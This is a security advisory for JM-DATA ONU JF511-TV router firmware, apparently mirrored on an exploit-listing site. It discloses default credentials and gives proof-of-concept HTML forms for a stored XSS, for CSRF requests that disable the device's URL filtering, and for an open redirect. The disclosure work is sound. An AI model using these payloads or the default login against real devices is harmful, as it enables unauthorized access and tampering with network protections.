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JM-DATA ONU JF511-TV 1.0.67 / 1.0.62 / 1.0.55 XSS / CSRF / Open Redirect

CVE Category Price Severity
N/A CWE-79 (Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) N/A Medium
Author Risk Exploitation Type Date
Unknown Medium Remote 2022-06-20
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022060058

Below is a copy:

JM-DATA ONU JF511-TV 1.0.67 / 1.0.62 / 1.0.55 XSS / CSRF / Open Redirect
JM-DATA ONU JF511-TV Multiple Remote Vulnerabilities


Vendor: JM-DATA GmbH
Product web page: https://www.jm-data.at
Affected version: 1.0.67
                  1.0.62
                  1.0.55

Summary: This ONU is the perfect GEPON home and business gateway.
It is an all-rounder in perfection. It can BRIDGE/NAT/RIP ROUTEND
and COMBINED.

Desc: The device suffers from multiple vulnerabilities including:
Default Credentials, CSRF, Authenticated Stored XSS and Open Redirect.

Tested on: Boa/0.93.15


Vulnerability discovered by Neurogenesia
                            @zeroscience


Advisory ID: ZSL-2022-5708
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5708.php


24.04.2022

--


Default credentials:
--------------------
user:user


Stored XSS / HTML Injection:
----------------------------
<html>
  <body>
    <form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST">
      <input type="hidden" name="url" value="'><script>alert(document.cookie)</script>' />
      <input type="hidden" name="action" value="ad" />
      <input type="hidden" name="submit-url" value="/secu_urlfilter_cfg_en.asp" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>


CSRF (delete IP entry filter):
------------------------------
<html>
  <body>
    <form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST">
      <input type="hidden" name="bcdata" value="ld3:idxi0eee" />
      <input type="hidden" name="action" value="rm" />
      <input type="hidden" name="submit-url" value="/secu_urlfilter_cfg_en.asp" />
      <input type="submit" value="Go" />
    </form>

    <form action="https://192.168.1.2:8443/boaform/admin/formURL" method="POST">
      <input type="hidden" name="urlfilterEnble" value="off" />
      <input type="hidden" name="action" value="rm" />
      <input type="hidden" name="bcdata" value="ld3:idxi0eed3:idxi1eee" />
      <input type="hidden" name="submit-url" value="https://192.168.1.2:8443/secu_urlfilter_cfg_en.asp" />
      <input type="submit" value="Go" />
    </form>
  </body>
</html>


Open Redirect:
--------------
https://192.168.1.2:8443/boaform/formWirelessTbl?submit-url=https://zeroscience.mk


common.js:
----------
/*
 * isCharUnsafe - test a character whether is unsafe
 * @c: character to test
 */
function isCharUnsafe(c)
{
  var unsafeString = "\"\\`\+\,='\t";

  return unsafeString.indexOf(c) != -1
    || c.charCodeAt(0) <= 32
    || c.charCodeAt(0) >= 123;
}

/*
 * isIncludeInvalidChar - test a string whether includes invalid characters
 * @s: string to test
 */
function isIncludeInvalidChar(s)
{
  var i;

  for (i = 0; i < s.length; i++) {
    if (isCharUnsafe(s.charAt(i)) == true)
      return true;
  }

  return false;
}

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